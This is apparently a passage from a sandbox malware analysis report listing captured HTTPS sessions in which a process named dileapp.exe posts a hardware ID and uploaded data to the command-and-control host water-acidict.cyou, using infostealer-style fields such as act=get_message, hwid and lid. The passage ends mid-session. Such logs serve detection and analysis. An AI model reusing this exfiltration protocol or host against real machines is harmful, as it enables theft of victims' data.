17	192.168.2.4	49764	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:27 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: water-acidict.cyou
2024-11-29 22:10:27 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 26 6a 3d 26 68 77 69 64 3d 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 Data Ascii: act=get_message&ver=4.0&lid=c2CoW0--bandl&j=&hwid=97ED8DB064739E362724E926CE495D9F
2024-11-29 22:10:28 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lhsfv3hg4rnh0aa316ru5i0np2; expires=Tue, 25-Mar-2025 15:57:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F2NyIRF9YuCaK0%2By1uoIDDKOtrSiFrMDs76GcKnxP8sP4BDy0XCVn1Ah%2FptXImulE4KBd6SBLmhWD45zDaa%2F4GGh5ygAl4L3Mz%2BBmQKya1Wo%2FHMaJxF7p%2FipFBvZXp2ni%2F2s68w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed8b0b408c63-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1881&min_rtt=1799&rtt_var=733&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=984&delivery_rate=1623123&cwnd=223&unsent_bytes=0&cid=616bf786e8f1e20b&ts=867&x=0"
2024-11-29 22:10:28 UTC	54	IN	Data Raw: 33 30 0d 0a 38 6a 57 4f 34 42 64 69 33 59 37 5a 70 56 4e 6b 73 5a 46 54 6f 49 70 49 66 61 6b 55 71 4c 4f 66 48 61 33 68 30 63 56 65 63 4e 57 70 61 41 3d 3d 0d 0a Data Ascii: 308jWO4Bdi3Y7ZpVNksZFToIpIfakUqLOfHa3h0cVecNWpaA==
2024-11-29 22:10:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49766	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:28 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: water-acidict.cyou
2024-11-29 22:10:28 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=c2CoW0--bandl&j=
2024-11-29 22:10:28 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ehfc0hsbdq72sv3lh5d7f1m3oi; expires=Tue, 25-Mar-2025 15:57:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iDyFFq8mt%2FHjVdndu7f2NjImcpM0MHYxVyKMcU%2BRVxzRICtTb0FV7EDJqTQfHrCL9i%2FXnC2Mgqi6pCqnBqCsUsLSGeV%2FzstSqpkVkt55igutNf8wcMuWwq%2FRB3LuP9pNlydFXX0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed8f78997c90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1801&rtt_var=704&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=949&delivery_rate=1523213&cwnd=252&unsent_bytes=0&cid=4b4a1269864de9b9&ts=687&x=0"
2024-11-29 22:10:28 UTC	350	IN	Data Raw: 34 34 38 38 0d 0a 72 6c 61 69 72 32 4b 74 30 41 6f 45 53 54 39 6b 2b 39 43 73 58 6c 41 32 31 6d 49 79 51 42 73 39 44 57 4f 4e 30 6a 64 44 51 34 6e 56 64 4e 53 4e 57 4a 6e 38 4b 48 63 73 48 56 36 50 6f 74 6b 37 66 42 53 33 42 68 42 36 66 56 78 68 45 4f 6a 2b 46 54 55 75 71 35 51 77 77 38 4d 52 79 50 77 6f 59 54 45 64 58 71 43 72 6a 6a 73 2b 46 4f 78 41 56 79 70 35 58 47 45 42 37 4c 6c 59 4d 79 2f 71 78 6a 72 46 78 77 66 4f 74 47 74 6f 4a 46 6f 42 6e 72 48 47 4d 44 6c 62 76 67 38 51 62 44 6c 59 64 30 47 33 38 48 6f 6d 4e 2b 6a 6a 4e 39 48 45 51 4e 44 38 63 53 59 73 55 55 62 42 38 73 30 37 4d 6c 71 77 42 6c 6b 6f 63 31 56 70 41 4f 6d 34 52 79 6f 6c 34 63 59 30 78 73 59 4e 78 36 42 6d 59 69 4e 52 42 35 53 78 6a 6e 4a 79 55 36 78 41 43 47 49 71 62 57 77 51 2f Data Ascii: 4488rlair2Kt0AoEST9k+9CsXlA21mIyQBs9DWON0jdDQ4nVdNSNWJn8KHcsHV6Potk7fBS3BhB6fVxhEOj+FTUuq5Qww8MRyPwoYTEdXqCrjjs+FOxAVyp5XGEB7LlYMy/qxjrFxwfOtGtoJFoBnrHGMDlbvg8QbDlYd0G38HomN+jjN9HEQND8cSYsUUbB8s07MlqwBlkoc1VpAOm4Ryol4cY0xsYNx6BmYiNRB5SxjnJyU6xACGIqbWwQ/
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 78 73 4d 42 77 72 4a 36 62 69 42 57 41 34 75 35 78 7a 45 2f 56 4c 6b 4b 58 79 46 35 57 47 55 4c 34 4c 70 52 4c 43 7a 74 7a 44 53 41 67 30 44 49 71 69 67 2b 61 33 34 44 69 62 58 43 4b 6e 42 75 39 42 38 65 4f 7a 6c 59 59 30 47 33 38 46 30 6b 49 75 6a 48 4f 38 50 46 43 39 32 79 65 6d 41 6d 57 42 53 66 74 38 41 32 4d 55 61 2b 44 6c 59 68 63 46 52 6d 42 4f 69 30 46 57 39 68 37 4e 52 30 6d 49 30 68 77 72 6c 6b 62 44 78 64 52 6f 62 38 31 33 77 31 57 50 52 59 45 43 5a 34 57 32 34 46 34 62 35 52 4c 53 66 6c 77 54 76 47 78 77 44 49 75 47 42 75 4b 6c 41 4e 6c 72 4c 4c 4d 54 5a 53 75 41 46 56 59 6a 63 66 61 42 6d 76 36 42 55 50 4a 75 6a 65 64 76 58 4f 44 73 47 31 66 69 59 30 45 78 2f 5a 74 63 4a 38 61 68 53 36 42 56 38 77 65 45 31 71 44 2f 32 38 55 43 63 73 36 4d 49 Data Ascii: xsMBwrJ6biBWA4u5xzE/VLkKXyF5WGUL4LpRLCztzDSAg0DIqig+a34DibXCKnBu9B8eOzlYY0G38F0kIujHO8PFC92yemAmWBSft8A2MUa+DlYhcFRmBOi0FW9h7NR0mI0hwrlkbDxdRob813w1WPRYECZ4W24F4b5RLSflwTvGxwDIuGBuKlANlrLLMTZSuAFVYjcfaBmv6BUPJujedvXODsG1fiY0Ex/ZtcJ8ahS6BV8weE1qD/28UCcs6MI
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 73 47 31 66 69 59 30 45 78 2f 5a 74 63 4a 38 61 68 53 34 43 56 41 70 63 31 74 76 42 75 4b 31 56 69 59 69 35 73 73 2b 7a 73 6f 45 77 37 74 6c 59 43 74 61 41 70 79 67 79 7a 55 2b 57 50 52 4f 45 43 56 68 48 7a 64 42 77 4c 64 44 49 67 37 6f 33 54 32 41 30 6b 37 57 38 6d 39 71 61 77 56 47 6e 72 66 47 4e 7a 52 63 74 42 4a 56 4c 48 4a 65 5a 51 66 75 76 56 6b 6e 49 65 72 4d 4d 73 7a 4e 42 38 69 67 65 6d 4d 74 54 77 7a 5a 2f 49 34 37 4b 68 54 73 51 47 59 79 62 6b 35 35 51 39 71 7a 57 79 38 6d 2f 59 77 72 6a 74 52 41 79 4c 34 6f 50 6d 74 57 42 70 57 31 78 6a 6f 32 58 4c 73 50 57 54 42 34 55 32 45 54 36 4c 42 63 4c 79 37 6e 78 54 6e 48 77 41 76 46 76 32 78 68 4b 68 31 49 32 62 58 57 66 47 6f 55 67 68 42 64 4c 6c 64 55 59 77 69 76 72 78 73 34 59 65 7a 41 64 4a 69 4e Data Ascii: sG1fiY0Ex/ZtcJ8ahS4CVApc1tvBuK1ViYi5ss+zsoEw7tlYCtaApygyzU+WPROECVhHzdBwLdDIg7o3T2A0k7W8m9qawVGnrfGNzRctBJVLHJeZQfuvVknIerMMszNB8igemMtTwzZ/I47KhTsQGYybk55Q9qzWy8m/YwrjtRAyL4oPmtWBpW1xjo2XLsPWTB4U2ET6LBcLy7nxTnHwAvFv2xhKh1I2bXWfGoUghBdLldUYwivrxs4YezAdJiN
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 64 6e 4c 31 67 44 6e 62 58 4b 4f 6a 30 55 2b 6b 42 58 4f 6a 6b 48 4c 79 37 49 68 52 63 41 47 36 76 54 65 74 6d 4e 42 38 50 79 4d 43 59 6e 58 67 71 52 76 63 67 31 50 6c 36 39 43 31 77 70 66 56 4e 6d 42 4f 6d 78 55 43 51 67 37 38 41 2b 78 73 34 44 77 4c 31 6e 62 6d 73 54 52 70 36 71 6a 6d 52 79 63 61 4d 4c 58 69 51 35 51 43 45 59 72 37 64 5a 59 58 6d 72 77 44 33 47 79 77 58 44 73 32 35 75 4c 6c 55 43 6d 4c 54 49 50 7a 31 51 73 51 46 66 4a 6e 56 52 5a 51 44 75 76 46 34 75 4b 75 36 4d 65 6f 44 4b 47 49 2f 71 4b 46 63 6f 53 78 47 4a 76 6f 34 6a 66 45 33 30 42 31 78 69 49 52 39 75 45 2b 57 36 57 79 51 75 37 73 38 37 78 38 41 47 77 37 68 68 62 69 31 53 44 34 75 78 77 6a 49 31 57 72 67 4f 58 53 68 36 55 69 39 50 72 37 64 4e 59 58 6d 72 34 44 50 4e 34 77 76 44 74 Data Ascii: dnL1gDnbXKOj0U+kBXOjkHLy7IhRcAG6vTetmNB8PyMCYnXgqRvcg1Pl69C1wpfVNmBOmxUCQg78A+xs4DwL1nbmsTRp6qjmRycaMLXiQ5QCEYr7dZYXmrwD3GywXDs25uLlUCmLTIPz1QsQFfJnVRZQDuvF4uKu6MeoDKGI/qKFcoSxGJvo4jfE30B1xiIR9uE+W6WyQu7s87x8AGw7hhbi1SD4uxwjI1WrgOXSh6Ui9Pr7dNYXmr4DPN4wvDt
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 50 52 74 66 79 79 53 52 79 44 50 51 32 56 7a 4a 70 58 43 30 77 2b 62 4e 44 4b 69 7a 6e 6a 43 75 4f 31 45 44 49 76 69 67 2b 61 31 73 4a 6b 4c 48 42 50 54 74 59 75 51 56 5a 4a 33 68 5a 61 77 76 6c 73 46 4d 6e 49 4f 37 47 4e 38 48 48 43 63 69 36 62 32 55 35 48 55 6a 5a 74 64 5a 38 61 68 53 64 42 30 49 73 61 52 39 77 54 2f 62 77 55 69 31 68 73 34 77 77 79 73 49 45 79 4c 35 75 59 79 31 51 42 35 61 7a 7a 6a 4d 32 58 37 30 47 55 53 39 38 55 6d 73 54 35 62 74 61 4c 53 6a 6e 77 58 53 4f 6a 51 66 58 38 6a 41 6d 47 6c 41 49 6c 37 58 59 66 43 30 61 72 55 42 58 4c 6a 6b 48 4c 77 44 6a 76 31 59 75 49 75 6a 4e 50 74 4c 66 44 4d 61 36 62 57 6f 67 55 77 43 4c 74 4d 45 31 4d 56 65 39 42 31 67 75 63 31 78 6f 51 61 48 77 55 6a 6c 68 73 34 77 58 31 39 30 4e 6a 36 30 6d 66 32 Data Ascii: PRtfyySRyDPQ2VzJpXC0w+bNDKiznjCuO1EDIvig+a1sJkLHBPTtYuQVZJ3hZawvlsFMnIO7GN8HHCci6b2U5HUjZtdZ8ahSdB0IsaR9wT/bwUi1hs4wwysIEyL5uYy1QB5azzjM2X70GUS98UmsT5btaLSjnwXSOjQfX8jAmGlAIl7XYfC0arUBXLjkHLwDjv1YuIujNPtLfDMa6bWogUwCLtME1MVe9B1guc1xoQaHwUjlhs4wX190Nj60mf2
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 74 63 67 79 49 46 47 79 44 31 38 72 63 46 74 6e 41 75 2b 30 55 53 59 6b 36 4d 41 2f 78 38 34 50 79 37 74 6d 62 79 51 64 53 4e 6d 31 31 6e 78 71 46 4a 55 62 55 79 35 30 48 33 42 50 39 76 42 53 4c 57 47 7a 6a 44 6a 4f 79 41 44 46 74 47 78 6a 4c 56 63 44 6d 62 6e 4e 4d 7a 5a 53 73 41 39 51 4b 58 42 65 61 51 54 6c 75 31 4d 73 49 75 33 4b 64 49 36 4e 42 39 66 79 4d 43 59 4c 52 67 75 56 74 59 34 6a 66 45 33 30 42 31 78 69 49 52 39 6b 44 65 75 33 56 53 77 69 34 38 6b 77 79 73 67 41 78 36 42 67 5a 69 78 50 46 4a 6d 37 79 7a 41 78 56 4c 41 47 57 53 52 36 57 79 39 50 72 37 64 4e 59 58 6d 72 34 54 6a 48 35 41 66 55 38 6e 63 6f 4d 68 30 42 6c 66 4b 57 66 44 4e 66 76 67 39 64 49 58 39 63 5a 41 54 6c 73 56 49 70 4c 50 6e 50 4f 38 2f 4a 41 4d 43 30 62 6d 63 6b 57 77 47 Data Ascii: tcgyIFGyD18rcFtnAu+0USYk6MA/x84Py7tmbyQdSNm11nxqFJUbUy50H3BP9vBSLWGzjDjOyADFtGxjLVcDmbnNMzZSsA9QKXBeaQTlu1MsIu3KdI6NB9fyMCYLRguVtY4jfE30B1xiIR9kDeu3VSwi48kwysgAx6BgZixPFJm7yzAxVLAGWSR6Wy9Pr7dNYXmr4TjH5AfU8ncoMh0BlfKWfDNfvg9dIX9cZATlsVIpLPnPO8/JAMC0bmckWwG
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 6a 45 54 69 6a 35 33 4e 48 4e 59 66 77 62 34 76 78 56 76 59 65 53 4d 62 50 6d 4e 43 63 69 70 65 58 41 6d 54 51 48 5a 6a 59 42 38 4b 68 54 73 51 47 55 68 64 31 46 6f 46 2f 37 39 63 6a 63 72 37 4e 77 7a 31 38 4a 41 67 66 4a 75 4a 6e 4d 4f 53 4e 6d 32 33 33 78 71 42 4f 5a 62 42 58 45 75 44 7a 30 65 6f 61 6b 56 4e 32 47 7a 6e 6e 71 41 33 30 43 58 38 69 39 6c 4f 55 38 41 6d 71 54 4e 65 77 78 71 6b 78 70 64 4a 47 35 4f 55 54 2f 6f 71 6c 67 6e 4e 76 71 41 49 63 50 44 44 73 69 6b 4b 43 68 72 55 6b 62 42 69 34 35 30 63 6d 76 36 51 45 68 69 49 52 39 61 41 75 47 2b 55 6a 63 77 70 75 73 75 7a 63 73 58 33 76 49 6d 4a 69 30 64 58 73 6e 38 6a 6a 67 6a 46 4f 78 51 41 6e 6b 73 44 44 68 52 76 61 38 62 4f 47 48 39 6a 47 79 53 67 30 44 64 38 6a 41 6d 62 46 34 55 69 37 54 4e Data Ascii: jETij53NHNYfwb4vxVvYeSMbPmNCcipeXAmTQHZjYB8KhTsQGUhd1FoF/79cjcr7Nwz18JAgfJuJnMOSNm233xqBOZbBXEuDz0eoakVN2GznnqA30CX8i9lOU8AmqTNewxqkxpdJG5OUT/oqlgnNvqAIcPDDsikKChrUkbBi450cmv6QEhiIR9aAuG+UjcwpusuzcsX3vImJi0dXsn8jjgjFOxQAnksDDhRva8bOGH9jGySg0Dd8jAmbF4Ui7TN
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 51 59 45 48 6f 35 61 6d 77 50 34 62 64 44 4d 47 7a 4d 77 6a 50 42 32 78 44 59 76 53 67 6f 61 31 74 47 77 65 43 41 66 44 5a 46 39 46 67 41 63 43 49 4b 50 46 61 2f 34 6b 70 76 4f 4b 76 61 64 4a 69 66 54 6f 2b 67 4b 44 35 72 47 67 57 4c 6f 4d 67 2f 4a 46 66 7a 50 6d 34 46 64 31 68 75 46 2f 2b 6e 57 6d 34 50 33 65 30 4b 2f 74 67 44 77 62 78 76 63 44 6f 64 53 4e 6d 39 6a 6d 51 4c 46 50 78 41 62 32 77 35 52 79 39 5a 72 34 56 57 4c 79 2f 73 32 69 57 4e 36 67 37 49 73 33 35 32 50 46 4a 4a 74 34 54 76 66 48 77 55 73 6b 41 49 63 44 63 66 61 78 43 76 36 41 56 7a 65 72 36 66 59 35 43 66 48 34 47 72 4b 48 42 72 42 56 54 58 38 74 78 38 61 68 54 7a 41 30 49 77 66 31 78 35 41 71 69 4f 61 77 59 76 37 4d 30 69 30 4d 41 4d 37 72 46 35 62 42 56 6a 45 35 71 38 77 44 73 6b 52 Data Ascii: QYEHo5amwP4bdDMGzMwjPB2xDYvSgoa1tGweCAfDZF9FgAcCIKPFa/4kpvOKvadJifTo+gKD5rGgWLoMg/JFfzPm4Fd1huF/+nWm4P3e0K/tgDwbxvcDodSNm9jmQLFPxAb2w5Ry9Zr4VWLy/s2iWN6g7Is352PFJJt4TvfHwUskAIcDcfaxCv6AVzer6fY5CfH4GrKHBrBVTX8tx8ahTzA0Iwf1x5AqiOawYv7M0i0MAM7rF5bBVjE5q8wDskR
2024-11-29 22:10:28 UTC	1369	IN	Data Raw: 73 65 6b 31 39 42 2b 79 6d 56 6d 59 66 31 65 45 6d 78 39 30 44 6a 59 4e 6c 59 6a 31 49 42 59 6d 31 38 41 49 66 52 72 4d 51 55 32 42 56 57 47 49 4e 30 59 35 69 4d 43 62 37 6a 68 4c 44 32 77 4f 50 2f 43 68 2b 61 77 56 47 74 4b 44 4a 4c 44 45 57 6d 41 64 64 4c 6a 6c 41 49 52 69 76 70 68 56 35 63 71 57 4d 4a 6f 43 56 51 49 69 78 65 6e 51 74 58 68 43 61 39 66 41 43 48 30 61 7a 45 46 4e 67 53 46 4a 72 46 2f 71 7a 52 53 59 66 31 65 45 6d 78 39 30 44 6a 5a 64 53 4a 42 70 4c 42 5a 6d 38 79 58 78 38 46 4b 78 41 43 47 4a 55 54 57 67 52 37 50 4a 77 47 32 50 61 32 6a 66 41 77 77 65 50 2f 43 68 71 61 77 56 47 6c 4b 44 4a 4c 44 45 59 73 78 70 58 59 6d 59 52 64 6b 48 35 38 41 31 79 62 36 76 65 64 4a 69 4e 52 38 47 2f 61 57 55 6c 58 68 53 4c 74 4d 30 71 4d 52 4f 4b 50 6e Data Ascii: sek19B+ymVmYf1eEmx90DjYNlYj1IBYm18AIfRrMQU2BVWGIN0Y5iMCb7jhLD2wOP/Ch+awVGtKDJLDEWmAddLjlAIRivphV5cqWMJoCVQIixenQtXhCa9fACH0azEFNgSFJrF/qzRSYf1eEmx90DjZdSJBpLBZm8yXx8FKxACGJUTWgR7PJwG2Pa2jfAwweP/ChqawVGlKDJLDEYsxpXYmYRdkH58A1yb6vedJiNR8G/aWUlXhSLtM0qMROKPn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49765	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:28 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C4R8YZVX4TQWJ0I63Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20437 Host: water-acidict.cyou
2024-11-29 22:10:28 UTC	15331	OUT	Data Raw: 2d 2d 43 34 52 38 59 5a 56 58 34 54 51 57 4a 30 49 36 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 43 34 52 38 59 5a 56 58 34 54 51 57 4a 30 49 36 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 43 34 52 38 59 5a 56 58 34 54 51 57 4a 30 49 36 33 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c Data Ascii: --C4R8YZVX4TQWJ0I63YContent-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--C4R8YZVX4TQWJ0I63YContent-Disposition: form-data; name="pid"3--C4R8YZVX4TQWJ0I63YContent-Disposition: form-data; name="lid"c2CoW0--bandl
2024-11-29 22:10:28 UTC	5106	OUT	Data Raw: 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-29 22:10:29 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e577abnfdiqlss4d58ibkfi6a1; expires=Tue, 25-Mar-2025 15:57:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qBEae0Fv9%2FgEEJA9V2JPs3B0t%2FQxlqIx1d%2Bmt%2BeMBmwjFnJAgrNJnurFFQssNiO1Nx0urCgyec4BheYFcbKFZWzJN4m6ejZtWN7noXM189GsapN0nAuvSapxQ7HbKSdrUe6bPGM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed8f193542ef-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1671&min_rtt=1661&rtt_var=644&sent=11&recv=23&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21401&delivery_rate=1673352&cwnd=218&unsent_bytes=0&cid=487d90ad36f6db2b&ts=1256&x=0"
2024-11-29 22:10:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49767	172.67.156.217	443	7568	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:30 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QZF5UCHRAF44KR9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: water-acidict.cyou
2024-11-29 22:10:30 UTC	1249	OUT	Data Raw: 2d 2d 51 5a 46 35 55 43 48 52 41 46 34 34 4b 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 45 44 38 44 42 30 36 34 37 33 39 45 33 36 32 37 32 34 45 39 32 36 43 45 34 39 35 44 39 46 0d 0a 2d 2d 51 5a 46 35 55 43 48 52 41 46 34 34 4b 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 5a 46 35 55 43 48 52 41 46 34 34 4b 52 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 32 43 6f 57 30 2d 2d 62 61 6e 64 6c 0d 0a 2d 2d 51 5a 46 35 55 Data Ascii: --QZF5UCHRAF44KR9Content-Disposition: form-data; name="hwid"97ED8DB064739E362724E926CE495D9F--QZF5UCHRAF44KR9Content-Disposition: form-data; name="pid"1--QZF5UCHRAF44KR9Content-Disposition: form-data; name="lid"c2CoW0--bandl--QZF5U
2024-11-29 22:10:32 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fmcmcvpgo4a3ofc2ho6js6kdl2; expires=Tue, 25-Mar-2025 15:57:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1lGNTo3%2BerZqRxdZYcXYwTf71EFGyq0OruSNpuH7VjYPnJuaf%2Bpp2bTe9zKANTbw20%2F0TizRwVvkz8%2FFMfSkjEI34HGuAovYpltesCX2XQmGP65gUgADL33K7jUHVoYzGiGmcz0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5eda0ad8b3338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2035&min_rtt=2030&rtt_var=771&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2165&delivery_rate=1410628&cwnd=245&unsent_bytes=0&cid=8b77127abebc9ae9&ts=1125&x=0"
2024-11-29 22:10:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 22:10:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49768	172.67.156.217	443	5448	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:31 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IMXE4KHJEZ375T7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18350 Host: water-acidict.cyou
